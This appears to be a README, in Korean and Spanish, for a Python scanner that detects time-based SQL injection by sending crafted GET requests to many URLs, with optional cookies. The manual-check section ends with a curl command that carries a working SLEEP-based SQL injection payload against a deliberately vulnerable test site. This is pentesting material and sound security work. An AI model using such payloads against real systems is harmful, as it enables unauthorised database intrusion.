
여러 URL에 조작된 GET 요청을 전송하고 지연된 응답을 측정하여 시간 기반 SQL 인젝션을 탐지합니다. 인증된 테스트를 위한 쿠키 지원을 포함합니다.
응답 시간이 20초 이상인 시간 기반(Time-based) 주입을 통해 SQLi 취약점을 찾을 수 있는 간단한 스크립트입니다.
usage: SQLi_Sleeps2.py [-h] -u URLS -d DATA [-c COOKIE]
Realiza una petición GET a múltiples URLs con diferentes datos.
options:
-h, --help show this help message and exit
-u URLS, --urls URLS Archivo de texto con las URLs a las que se les realizará la petición GET.
-d DATA, --data DATA Archivo de texto con los datos que se agregarán a las URLs.
-c COOKIE, --cookie COOKIE
Cookie a incluir en la petición GET.
# Cookie simple
python3 script.py -u urls.txt -d data.txt -c "session=abc123"
# Múltiples cookies
python3 script.py -u urls.txt -d data.txt -c "session=abc123; user_id=456"
# Sin cookie
python3 script.py -u urls.txt -d data.txt
cat urls.txt | sed 's/FUZZ//g'
python3 SQLi_Sleeps2.py -u urls.txt -d data.txt

수동 분석
time curl "http://testphp.vulnweb.com/search.php?test=query'XOR(SELECT(0)FROM(SELECT(SLEEP(5)))a)XOR'Z" -I
